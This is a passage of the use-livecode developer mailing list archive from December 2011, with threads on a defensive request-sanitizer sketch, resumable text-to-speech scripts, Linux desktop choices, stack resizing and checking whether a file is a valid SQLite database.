lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From sc at sahores-conseil.com Mon Dec 26 13:34:26 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Mon, 26 Dec 2011 19:34:26 +0100 Subject: OT: Decrypting PHP preg_replace Strings In-Reply-To: <4EF89586.9080805@fourthworld.com> References: <4EF7E9D8.4040102@hindu.org> <4EF89586.9080805@fourthworld.com> Message-ID: <06C6AEA6-030D-4A9C-A559-D3EBD73559DE@sahores-conseil.com> Le 26 d?c. 2011 ? 16:40, Richard Gaskin a ?crit : > Sivakatirswami wrote: > >> We have hackers on our web server getting in thru one Domain... I think >> there is a whole in WordPress. > ... >> I can't wait until move our site over to RevIgniter; I think it will be >> much more secure! > > Any of you have a similar LiveCode function to sanitize data? Example code out of the LC-server powered widestep.fr saas eCMS and vertical market web apps semantic driven generator : 1.- The HTTP POST requests sanitizer > function start_somelivecode_lib > if $_server[http_user_agent] is in "livecode (macos),livecode (win32),livecode (ios)" and "somedomainnamecomesthere" is $_SERVER["HTTP_HOST"] then > > ### active sub-domain retriever : start ### > > put "yourdatabasetype" into DbTarget ; put "thedatabasename" into DbName > put "thedatabaseuser" into DbUser ; put thedatabasepwd" into DBPasswd > > repeat for each key k in $_POST > put k & return after PostIn > end repeat > put trim(PostIn) into PostIn > > if "somepostkey1=" is char 1 to length("somepostkey1=") of PostIn or "somepostkey2=" is char 1 to length("somepostkey2=") of PostIn or "somepostkey3=" is char 1 to length("somepostkey3=") of PostIn > then put "specialervicestablename" into CustEditors > else if "somepostkey4=" is in PostIn then > > set itemdel to "&" > put trim(char 8 to -1 of item -1 of Postin) into aspecialmatchboxvalue # Constante 1 # > put item 1 to -2 of Postin into Postin > > different related "file://" server-side service paths come there > > different related db tables linkers come there > > end if > > ### active sub-domain retriever : end ### > > else return pseudo404() > > ... 2.- The undisclosed HTTP GET requests sanitizer code follow there 3.- The server-side incoming requests controller : > function pseudo404 > if $_server[http_user_agent] is in "livecode (macos),livecode (win32),livecode (ios)" then > then return "unsuitable credentials<===>unsuitable credentials" > else return "ERROR: File Not Found

File Not Found

" > end pseudo404 > > > function somelivecode_lib_main_ctl > if $_server[http_user_agent] is in "livecode (macos),livecode (win32),livecode (ios),livecode (android)" then > > put trim(PostIn) into PostIn > get char 1 to -1+offset("=",PostIn) of PostIn > > if it is "" and char 1 to -1+offset("=",encel(PostIn)) of encel(PostIn) is "someknownkey1" then put pgSQL_directCall(encel(PostIn)) # credit > else if it is "someknownkey2" then put someknownkey2(PostIn) > else if it is "someknownkey3" then put someknownkey3(PostIn) > ... > else if it is "someknownkeyN" then putsomeknownkeyN(PostIn) > else put pseudo404() > > else put pseudo404() > end somelivecode_lib_main_ctl 4.- The undisclosed authentication dedicated sanitizer follow there ... Comment1 : Any incoming request need to be accepted by those different kind of controllers to be targeted to the authentication one. If something don't match, the server app goes just to sleep after sending the pseudo404 response to the unwanted request attempt (with, optionally, blacklisting features, caching, etc...). Comment2 : this code sanitize RIA clients requests ; the code don't need to be very different to match non AJAX web clients requests and AJAX web clients one but it need to be anywhere ;-) HTH, > > -- > Richard Gaskin > Fourth World > LiveCode training and consulting: http://www.fourthworld.com > Webzine for LiveCode developers: http://www.LiveCodeJournal.com > LiveCode Journal blog: http://LiveCodejournal.com/blog.irv > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From admin at FlexibleLearning.com Mon Dec 26 13:53:35 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Mon, 26 Dec 2011 18:53:35 -0000 Subject: Point at which speaking is stopped? In-Reply-To: Message-ID: I do not believe this is available, nor can I think of a reliable way to determine the stop point. Unless the 'reading' is converted to an audio file (which probably does not suit your purposes or you would be already implementing one) and the use of callbacks is implemented. You may have to apply the selectedText and rely on the User's judgement. Hugh Senior FLCo James Hurley wrote: If one executes a "revStopSpeach", is it possible to learn the point in the text where the speaking was stopped? Jim From bonnmike at gmail.com Mon Dec 26 14:11:43 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 26 Dec 2011 12:11:43 -0700 Subject: Point at which speaking is stopped? In-Reply-To: References: Message-ID: The only way I can think of is to speak individual words rather than a block of text. This way you can cycle through words, each with its own "revspeak" and can monitor where in the text you are at every moment. This also obviates the need for a stop. Just quit sending words to revspeak. Since revspeak will overrun itself you will also need to check revIsSpeaking() to determine when the next word should be sent. On Mon, Dec 26, 2011 at 11:53 AM, FlexibleLearning < admin at flexiblelearning.com> wrote: > I do not believe this is available, nor can I think of a reliable way to > determine the stop point. Unless the 'reading' is converted to an audio > file > (which probably does not suit your purposes or you would be already > implementing one) and the use of callbacks is implemented. > > You may have to apply the selectedText and rely on the User's judgement. > > Hugh Senior > FLCo > > > > James Hurley wrote: > > If one executes a "revStopSpeach", is it possible to learn the point > in the text where the speaking was stopped? > > Jim > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From roger.e.eller at sealedair.com Mon Dec 26 14:27:00 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Mon, 26 Dec 2011 14:27:00 -0500 Subject: Point at which speaking is stopped? In-Reply-To: References: Message-ID: On Mon, Dec 26, 2011 at 2:11 PM, Mike Bonner wrote: > The only way I can think of is to speak individual words rather than a > block of text. This way you can cycle through words, each with its own > "revspeak" and can monitor where in the text you are at every moment. That's a good idea, but it may cause the speech to sound 'even' less natural. Maybe speak a sentence at a time, then if the user pauses, resume speaking at the beginning of the last sentence. ?Roger From mwieder at ahsoftware.net Mon Dec 26 14:35:55 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Mon, 26 Dec 2011 11:35:55 -0800 Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: <4EF8B3B3.4060509@gmail.com> References: <4EF8B3B3.4060509@gmail.com> Message-ID: <191837235250.20111226113555@ahsoftware.net> Richmond- Monday, December 26, 2011, 9:49:39 AM, you wrote: > Still fairly cheesed-off with Unity, GNOME 3 and the fact that there > has been no consideration for those who like GNOME 2 (after all, why > not just keep it in the repositiories as an option?). I spent about two weeks with Gnome 3 on my system, then gave up. I backed everything up and installed the Fedora Core 16 xfce spin and have been pretty happy with it since. You *do* have your root and home partitions separate, right? -- -Mark Wieder mwieder at ahsoftware.net From bonnmike at gmail.com Mon Dec 26 14:51:52 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 26 Dec 2011 12:51:52 -0700 Subject: Point at which speaking is stopped? In-Reply-To: References: Message-ID: Yeah, word by word its horrible. Sentence by sentence is cool, or even check for several things. Read from sentence start to either period, comma, exclamation, question mark, or end of line. (though if revspeak is smart enough to know that comma indicates a pause then ignore commas.) On Mon, Dec 26, 2011 at 12:27 PM, Roger Eller wrote: > On Mon, Dec 26, 2011 at 2:11 PM, Mike Bonner wrote: > > > The only way I can think of is to speak individual words rather than a > > block of text. This way you can cycle through words, each with its own > > "revspeak" and can monitor where in the text you are at every moment. > > > That's a good idea, but it may cause the speech to sound 'even' less > natural. Maybe speak a sentence at a time, then if the user pauses, resume > speaking at the beginning of the last sentence. > > ?oger > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Mon Dec 26 14:54:29 2011 From: richmondmathewson at gmail.com (Richmond) Date: Mon, 26 Dec 2011 21:54:29 +0200 Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: <191837235250.20111226113555@ahsoftware.net> References: <4EF8B3B3.4060509@gmail.com> <191837235250.20111226113555@ahsoftware.net> Message-ID: <4EF8D0F5.4010706@gmail.com> On 12/26/2011 09:35 PM, Mark Wieder wrote: > Richmond- > > Monday, December 26, 2011, 9:49:39 AM, you wrote: > >> Still fairly cheesed-off with Unity, GNOME 3 and the fact that there >> has been no consideration for those who like GNOME 2 (after all, why >> not just keep it in the repositiories as an option?). > I spent about two weeks with Gnome 3 on my system, then gave up. I > backed everything up and installed the Fedora Core 16 xfce spin and > have been pretty happy with it since. You *do* have your root and home > partitions separate, right? Yup. > From martyknapp at comcast.net Mon Dec 26 15:08:08 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Mon, 26 Dec 2011 12:08:08 -0800 Subject: Smooth change in size of a stack In-Reply-To: References: Message-ID: <4EF8D428.3040408@comcast.net> Hey Pete, Eric Chatonet had a stack named "Modifying Card Dimensions" that showed how to do that (I thought) but in trying it just now on LC 5 it doesn't seem to work. And I noticed that his www.SoSmartSoftware.com web site is no longer up (sadly, he passed away a few years ago). I have the stack if you'd like to see it and maybe you could figure out why it's not working. Marty Knapp > What is the technique for making a change in stack height a smooth > transition? Not a very good descriptions I guess but as an example, I'm > looking at what happens in the Tools palette when you go back and forth > between the various tabs. > > Thanks, > > From bonnmike at gmail.com Mon Dec 26 15:09:52 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 26 Dec 2011 13:09:52 -0700 Subject: Point at which speaking is stopped? In-Reply-To: References: Message-ID: Yep, in simplest form its not to bad. I put a bunch of text into a field then to read it, set the itemdelimter to "." put the field text into a variable and replaced "? " with ?. " same with "! " replaced with "!. " (to ensure we still retain punctuation tone changes) So the following script placed in a button will read from field 1. Clicking the button again pauses, Reading picks up where it left off. local tReading, tCurrLine, tTotalLines,tText on mouseUp if tReading is empty then put false into tReading put not tReading into tReading set the label of me to "Reading: " & tReading startLooping end mouseUp command startLooping set the linedelimiter to "." if tReading then if tCurrLine is empty then put field 1 into tText replace "? " with "?. " in tText replace "! " with "!. " in tText put the number of lines in tText into tTotalLines put 1 into tCurrLine end if if not revIsSpeaking() then revspeak line tCurrLine of tText if tCurrLine = tTotalLines then put false into tReading put empty into tCurrLine else add 1 to tCurrLine end if end if set the label of me to "Reading: " & tReading send startLooping to me in 20 milliseconds end if end startLooping On Mon, Dec 26, 2011 at 12:51 PM, Mike Bonner wrote: > Yeah, word by word its horrible. Sentence by sentence is cool, or even > check for several things. Read from sentence start to either period, comma, > exclamation, question mark, or end of line. (though if revspeak is smart > enough to know that comma indicates a pause then ignore commas.) > > > On Mon, Dec 26, 2011 at 12:27 PM, Roger Eller > wrote: > >> On Mon, Dec 26, 2011 at 2:11 PM, Mike Bonner wrote: >> >> > The only way I can think of is to speak individual words rather than a >> > block of text. This way you can cycle through words, each with its own >> > "revspeak" and can monitor where in the text you are at every moment. >> >> >> That's a good idea, but it may cause the speech to sound 'even' less >> natural. Maybe speak a sentence at a time, then if the user pauses, >> resume >> speaking at the beginning of the last sentence. >> >> ?oger >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From bonnmike at gmail.com Mon Dec 26 15:21:13 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 26 Dec 2011 13:21:13 -0700 Subject: Point at which speaking is stopped? In-Reply-To: References: Message-ID: The example isn't great, there are some issues with it but its close at least. On Mon, Dec 26, 2011 at 1:09 PM, Mike Bonner wrote: > Yep, in simplest form its not to bad. I put a bunch of text into a field > then to read it, set the itemdelimter to "." put the field text into a > variable and replaced "? " with ?. " same with "! " replaced with "!. " (to > ensure we still retain punctuation tone changes) > > So the following script placed in a button will read from field 1. > Clicking the button again pauses, Reading picks up where it left off. > > local tReading, tCurrLine, tTotalLines,tText > on mouseUp > if tReading is empty then put false into tReading > put not tReading into tReading > set the label of me to "Reading: " & tReading > startLooping > end mouseUp > > command startLooping > set the linedelimiter to "." > if tReading then > if tCurrLine is empty then > put field 1 into tText > replace "? " with "?. " in tText > replace "! " with "!. " in tText > put the number of lines in tText into tTotalLines > put 1 into tCurrLine > end if > > if not revIsSpeaking() then > revspeak line tCurrLine of tText > if tCurrLine = tTotalLines then > put false into tReading > put empty into tCurrLine > else > add 1 to tCurrLine > end if > end if > set the label of me to "Reading: " & tReading > send startLooping to me in 20 milliseconds > end if > end startLooping > > On Mon, Dec 26, 2011 at 12:51 PM, Mike Bonner wrote: > >> Yeah, word by word its horrible. Sentence by sentence is cool, or even >> check for several things. Read from sentence start to either period, comma, >> exclamation, question mark, or end of line. (though if revspeak is smart >> enough to know that comma indicates a pause then ignore commas.) >> >> >> On Mon, Dec 26, 2011 at 12:27 PM, Roger Eller < >> roger.e.eller at sealedair.com> wrote: >> >>> On Mon, Dec 26, 2011 at 2:11 PM, Mike Bonner wrote: >>> >>> > The only way I can think of is to speak individual words rather than a >>> > block of text. This way you can cycle through words, each with its own >>> > "revspeak" and can monitor where in the text you are at every moment. >>> >>> >>> That's a good idea, but it may cause the speech to sound 'even' less >>> natural. Maybe speak a sentence at a time, then if the user pauses, >>> resume >>> speaking at the beginning of the last sentence. >>> >>> ?oger >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >> >> > From pete at mollysrevenge.com Mon Dec 26 15:28:08 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 Dec 2011 12:28:08 -0800 Subject: Smooth change in size of a stack In-Reply-To: <4EF8D428.3040408@comcast.net> References: <4EF8D428.3040408@comcast.net> Message-ID: Thanks Marty. I haven't moved to 5.0 yet (seems like too many niggling problems) so I'd love to get the stack. Could you send it to my email? Pete On Mon, Dec 26, 2011 at 12:08 PM, Marty Knapp wrote: > Hey Pete, > Eric Chatonet had a stack named "Modifying Card Dimensions" that showed > how to do that (I thought) but in trying it just now on LC 5 it doesn't > seem to work. And I noticed that his www.SoSmartSoftware.com web site is > no longer up (sadly, he passed away a few years ago). I have the stack if > you'd like to see it and maybe you could figure out why it's not working. > > Marty Knapp > > What is the technique for making a change in stack height a smooth >> transition? Not a very good descriptions I guess but as an example, I'm >> looking at what happens in the Tools palette when you go back and forth >> between the various tabs. >> >> Thanks, >> >> >> > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From andre at andregarzia.com Mon Dec 26 15:33:11 2011 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 26 Dec 2011 18:33:11 -0200 Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: <191837235250.20111226113555@ahsoftware.net> References: <4EF8B3B3.4060509@gmail.com> <191837235250.20111226113555@ahsoftware.net> Message-ID: On Mon, Dec 26, 2011 at 5:35 PM, Mark Wieder wrote: > You *do* have your root and home > partitions separate, right? > I don't but I have "OCD level" rsync between the machines... I really should place home in another partition, the only time I do this is with freebsd. -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From palcibiades-first at yahoo.co.uk Mon Dec 26 15:38:50 2011 From: palcibiades-first at yahoo.co.uk (Peter Alcibiades) Date: Mon, 26 Dec 2011 12:38:50 -0800 (PST) Subject: Crashing Ubuntu 11.10 with LC 4.5 In-Reply-To: <4EF8D0F5.4010706@gmail.com> References: <4EF8B3B3.4060509@gmail.com> <191837235250.20111226113555@ahsoftware.net> <4EF8D0F5.4010706@gmail.com> Message-ID: <1324931930598-4235548.post@n4.nabble.com> Stay with Ubuntu for now, but install fluxbox and see if it still happens. At least you'll know if its Ubuntu or Gnome3. Once you have got used to Fluxbox, its astonishing how little use you have for a window manager, desktop, all that bloat. I preferr flux to openbox mainly because the virtual desktop function is easier and quicker, but either one is quick and minimal and stable and keeps out of the way. I agree with Mark about Xfce, its the closest thing to Gnome2. Thunar is a very nice, very simple file manager. xfe is also quite nice. Gnome seems to have totally lost its way. Funnily enough KDE in the latest incarnation seems to be getting back to KDE 3.5, and that was quite the equal of Gnome2.... The more things change.... -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Crashing-Ubuntu-11-10-with-LC-4-5-tp4235217p4235548.html Sent from the Revolution - User mailing list archive at Nabble.com. From jacque at hyperactivesw.com Mon Dec 26 16:00:25 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 26 Dec 2011 15:00:25 -0600 Subject: Trouble with button icon images In-Reply-To: References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> <4EF60A58.3090200@hyperactivesw.com> <4EF613A7.80004@hyperactivesw.com> Message-ID: <4EF8E069.6050501@hyperactivesw.com> On 12/26/11 11:35 AM, Pete wrote: > HI Jacque, > Just one more follow up to this. When the standalone is built, does it > include all the images in the library or just the ones that are referenced > in the application? The library I created has around 700 icons in it and I > only use perhaps a dozen or so in any one application. I'm not sure how that would work, I always place the images so that the library isn't used at all. I suppose the easiest thing would be for the standalone builder to just include the whole library as a substack of your mainstack. Copying them individually would change the IDs of the images. You could find out by building a small standalone with a button that uses a referenced icon, and whose script answers the names of the substacks. I'm a little curious myself what you'll find. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From roger.e.eller at sealedair.com Mon Dec 26 16:26:46 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Mon, 26 Dec 2011 16:26:46 -0500 Subject: Point at which speaking is stopped? In-Reply-To: References: Message-ID: On Mon, Dec 26, 2011 at 3:21 PM, Mike Bonner wrote: > The example isn't great, there are some issues with it but its close at > least. > > On Mon, Dec 26, 2011 at 1:09 PM, Mike Bonner wrote: > > > Yep, in simplest form its not to bad. I put a bunch of text into a field > > then to read it, set the itemdelimter to "." put the field text into a > > variable and replaced "? " with ?. " same with "! " replaced with "!. " > (to > > ensure we still retain punctuation tone changes) > > > > So the following script placed in a button will read from field 1. > > Clicking the button again pauses, Reading picks up where it left off. > > > > local tReading, tCurrLine, tTotalLines,tText > > on mouseUp > > if tReading is empty then put false into tReading > > put not tReading into tReading > > set the label of me to "Reading: " & tReading > > startLooping > > end mouseUp > > > > command startLooping > > set the linedelimiter to "." > > if tReading then > > if tCurrLine is empty then > > put field 1 into tText > > replace "? " with "?. " in tText > > replace "! " with "!. " in tText > > put the number of lines in tText into tTotalLines > > put 1 into tCurrLine > > end if > > > > if not revIsSpeaking() then > > revspeak line tCurrLine of tText > > if tCurrLine = tTotalLines then > > put false into tReading > > put empty into tCurrLine > > else > > add 1 to tCurrLine > > end if > > end if > > set the label of me to "Reading: " & tReading > > send startLooping to me in 20 milliseconds > > end if > > end startLooping > I like it! I used your post as the text to read aloud via your script. With a little more code to add active sentence highlighting, and handle other oddities in text like ("?" with "?."), it becomes a pretty nice screen reader that you can follow along visually. I could see this growing into a great teaching aid for reading. ?Roger From pete at mollysrevenge.com Mon Dec 26 16:33:20 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 Dec 2011 13:33:20 -0800 Subject: revOpenDatabase Problem Message-ID: Using revOpenDatabase to open an sqlite database using a file that is not an sqlite database return an integer as if the database was successfully opened. Any subsequent db accesses fail of course but I wonder why revOpenDatabase doesn't return an error? -- Pete Molly's Revenge From bonnmike at gmail.com Mon Dec 26 16:42:42 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 26 Dec 2011 14:42:42 -0700 Subject: revOpenDatabase Problem In-Reply-To: References: Message-ID: My guess is that it doesn't check for a valid schema/format but that it is only establishing a file handle which is successful. Then it should fail with an error on actual attempt to use. On Mon, Dec 26, 2011 at 2:33 PM, Pete wrote: > Using revOpenDatabase to open an sqlite database using a file that is not > an sqlite database return an integer as if the database was successfully > opened. Any subsequent db accesses fail of course but I wonder why > revOpenDatabase doesn't return an error? > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From martyknapp at comcast.net Mon Dec 26 16:56:32 2011 From: martyknapp at comcast.net (Marty Knapp) Date: Mon, 26 Dec 2011 13:56:32 -0800 Subject: Smooth change in size of a stack In-Reply-To: References: <4EF8D428.3040408@comcast.net> Message-ID: <4EF8ED90.2060305@comcast.net> OK - sent a bit ago as an email attachment. Let me know if you didn't get it, I'll post it somewhere that you can download it. Marty > Thanks Marty. I haven't moved to 5.0 yet (seems like too many niggling > problems) so I'd love to get the stack. Could you send it to my email? > Pete > > On Mon, Dec 26, 2011 at 12:08 PM, Marty Knappwrote: > >> Hey Pete, >> Eric Chatonet had a stack named "Modifying Card Dimensions" that showed >> how to do that (I thought) but in trying it just now on LC 5 it doesn't >> seem to work. And I noticed that his www.SoSmartSoftware.com web site is >> no longer up (sadly, he passed away a few years ago). I have the stack if >> you'd like to see it and maybe you could figure out why it's not working. >> >> Marty Knapp >> >> What is the technique for making a change in stack height a smooth >>> transition? Not a very good descriptions I guess but as an example, I'm >>> looking at what happens in the Tools palette when you go back and forth >>> between the various tabs. >>> >>> Thanks, >>> >>> >>> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> >> > From pete at mollysrevenge.com Mon Dec 26 17:00:44 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 Dec 2011 14:00:44 -0800 Subject: revOpenDatabase Problem In-Reply-To: References: Message-ID: I think that's probably true. I'm trying to figure out how to to tell if a real sqlite database was opened. The first access to the db fails but the error is "Undefined SQLite error" which is not very specific! This is in an app where the user can select an sqlite db so I'm at the mercy of what they choose. I did think about filtering the valid extensions for the ask file dialog but it's my understanding that an sqlite db can have any extension. I also tried calling revDatabaseType but that returns "SQLITE" even if it's not an sqlite database. Pete On Mon, Dec 26, 2011 at 1:42 PM, Mike Bonner wrote: > My guess is that it doesn't check for a valid schema/format but that it is > only establishing a file handle which is successful. Then it should fail > with an error on actual attempt to use. > > On Mon, Dec 26, 2011 at 2:33 PM, Pete wrote: > > > Using revOpenDatabase to open an sqlite database using a file that is not > > an sqlite database return an integer as if the database was successfully > > opened. Any subsequent db accesses fail of course but I wonder why > > revOpenDatabase doesn't return an error? > > > > > > -- > > Pete > > Molly's Revenge > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Mon Dec 26 17:01:31 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 Dec 2011 14:01:31 -0800 Subject: Smooth change in size of a stack In-Reply-To: <4EF8ED90.2060305@comcast.net> References: <4EF8D428.3040408@comcast.net> <4EF8ED90.2060305@comcast.net> Message-ID: Got it Marty, thanks. I'll check it out in the next couple of hours. Pete On Mon, Dec 26, 2011 at 1:56 PM, Marty Knapp wrote: > OK - sent a bit ago as an email attachment. Let me know if you didn't get > it, I'll post it somewhere that you can download it. > > Marty > >> Thanks Marty. I haven't moved to 5.0 yet (seems like too many niggling >> problems) so I'd love to get the stack. Could you send it to my email? >> Pete >> >> On Mon, Dec 26, 2011 at 12:08 PM, Marty Knapp** >> wrote: >> >> Hey Pete, >>> Eric Chatonet had a stack named "Modifying Card Dimensions" that showed >>> how to do that (I thought) but in trying it just now on LC 5 it doesn't >>> seem to work. And I noticed that his www.SoSmartSoftware.com web site is >>> no longer up (sadly, he passed away a few years ago). I have the stack if >>> you'd like to see it and maybe you could figure out why it's not working. >>> >>> Marty Knapp >>> >>> What is the technique for making a change in stack height a smooth >>> >>>> transition? Not a very good descriptions I guess but as an example, I'm >>>> looking at what happens in the Tools palette when you go back and forth >>>> between the various tabs. >>>> >>>> Thanks, >>>> >>>> >>>> >>>> ______________________________****_________________ >>> >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/****mailman/listinfo/use-livecode >>> <**http://lists.runrev.com/**mailman/listinfo/use-livecode >>> > >>> >>> >>> >> > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bonnmike at gmail.com Mon Dec 26 17:05:04 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 26 Dec 2011 15:05:04 -0700 Subject: revOpenDatabase Problem In-Reply-To: References: Message-ID: Hmm. don't have time to test it right this sec, but isn't an sqlite file pretty much a regular old text file? If so, it might be possible to open for read, read the first however much and check the file for validity. (even if its binary, surely there is a way to determine if its really an sqlite file) Would have to look up the sqlite file format but it seems like it should be possible. On Mon, Dec 26, 2011 at 3:00 PM, Pete wrote: > I think that's probably true. I'm trying to figure out how to to tell if a > real sqlite database was opened. The first access to the db fails but the > error is "Undefined SQLite error" which is not very specific! > > This is in an app where the user can select an sqlite db so I'm at the > mercy of what they choose. I did think about filtering the valid > extensions for the ask file dialog but it's my understanding that an sqlite > db can have any extension. I also tried calling revDatabaseType but that > returns "SQLITE" even if it's not an sqlite database. > > Pete > > On Mon, Dec 26, 2011 at 1:42 PM, Mike Bonner wrote: > > > My guess is that it doesn't check for a valid schema/format but that it > is > > only establishing a file handle which is successful. Then it should fail > > with an error on actual attempt to use. > > > > On Mon, Dec 26, 2011 at 2:33 PM, Pete wrote: > > > > > Using revOpenDatabase to open an sqlite database using a file that is > not > > > an sqlite database return an integer as if the database was > successfully > > > opened. Any subsequent db accesses fail of course but I wonder why > > > revOpenDatabase doesn't return an error? > > > > > > > > > -- > > > Pete > > > Molly's Revenge > > > _______________________________________________ > > > use-livecode mailing list > > > use-livecode at lists.runrev.com > > > Please visit this url to subscribe, unsubscribe and manage your > > > subscription preferences: > > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From andre at andregarzia.com Mon Dec 26 17:08:39 2011 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 26 Dec 2011 20:08:39 -0200 Subject: revOpenDatabase Problem In-Reply-To: References: Message-ID: Pete, Try the following query: SELECT name FROM sqlite_master WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%' UNION ALL SELECT name FROM sqlite_temp_master WHERE type IN ('table','view') ORDER BY 1 It should return the tables in the database, if there are no tables, then, there is something wrong. Cheers andre From bonnmike at gmail.com Mon Dec 26 17:09:51 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 26 Dec 2011 15:09:51 -0700 Subject: revOpenDatabase Problem In-Reply-To: References: Message-ID: Here, look here under 1.2 database header. http://www.sqlite.org/fileformat2.html Looks like the first 16 bytes of the header are what you are looking for which are of course the first 16 bytes of the file. Should be quick and easy to grab those bytes and determine if the file is sqlite or not. On Mon, Dec 26, 2011 at 3:05 PM, Mike Bonner wrote: > Hmm. don't have time to test it right this sec, but isn't an sqlite file > pretty much a regular old text file? If so, it might be possible to open > for read, read the first however much and check the file for validity. > (even if its binary, surely there is a way to determine if its really an > sqlite file) Would have to look up the sqlite file format but it seems like > it should be possible. > > > On Mon, Dec 26, 2011 at 3:00 PM, Pete wrote: > >> I think that's probably true. I'm trying to figure out how to to tell if >> a >> real sqlite database was opened. The first access to the db fails but the >> error is "Undefined SQLite error" which is not very specific! >> >> This is in an app where the user can select an sqlite db so I'm at the >> mercy of what they choose. I did think about filtering the valid >> extensions for the ask file dialog but it's my understanding that an >> sqlite >> db can have any extension. I also tried calling revDatabaseType but that >> returns "SQLITE" even if it's not an sqlite database. >> >> Pete >> >> On Mon, Dec 26, 2011 at 1:42 PM, Mike Bonner wrote: >> >> > My guess is that it doesn't check for a valid schema/format but that it >> is >> > only establishing a file handle which is successful. Then it should fail >> > with an error on actual attempt to use. >> > >> > On Mon, Dec 26, 2011 at 2:33 PM, Pete wrote: >> > >> > > Using revOpenDatabase to open an sqlite database using a file that is >> not >> > > an sqlite database return an integer as if the database was >> successfully >> > > opened. Any subsequent db accesses fail of course but I wonder why >> > > revOpenDatabase doesn't return an error? >> > > >> > > >> > > -- >> > > Pete >> > > Molly's Revenge >> > > _______________________________________________ >> > > use-livecode mailing list >> > > use-livecode at lists.runrev.com >> > > Please visit this url to subscribe, unsubscribe and manage your >> > > subscription preferences: >> > > http://lists.runrev.com/mailman/listinfo/use-livecode >> > > >> > _______________________________________________ >> > use-livecode mailing list >> > use-livecode at lists.runrev.com >> > Please visit this url to subscribe, unsubscribe and manage your >> > subscription preferences: >> > http://lists.runrev.com/mailman/listinfo/use-livecode >> > >> > >> >> >> -- >> Pete >> Molly's Revenge >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode >> > > From pete at mollysrevenge.com Mon Dec 26 17:25:36 2011 From: pete at mollysrevenge.com (Pete) Date: Mon, 26 